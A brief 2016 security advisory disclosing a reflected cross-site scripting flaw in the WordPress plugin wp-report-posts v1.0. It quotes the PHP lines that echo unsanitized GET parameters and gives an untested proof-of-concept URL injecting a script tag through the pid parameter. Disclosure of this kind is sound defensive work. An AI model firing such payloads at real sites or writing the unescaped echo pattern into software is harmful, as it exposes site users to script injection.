Advisory #: 512
Title: Reflected XSS in wordpress plugin wp-report-posts v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-report-posts
Downloads: 3222
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-report-posts
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-report-posts/wp-report-posts.php: 130: <input type="hidden" name="pid" value="<?php echo $_GET['pid'];?>"> 132: <input type="hidden" name="rid" value="<?php echo $_GET['rid'];?>"> The variable pid appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./wp-report-posts/wp-report-posts.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wp-report-posts/wp-report-posts.php?pid="><script>alert(1);</script><"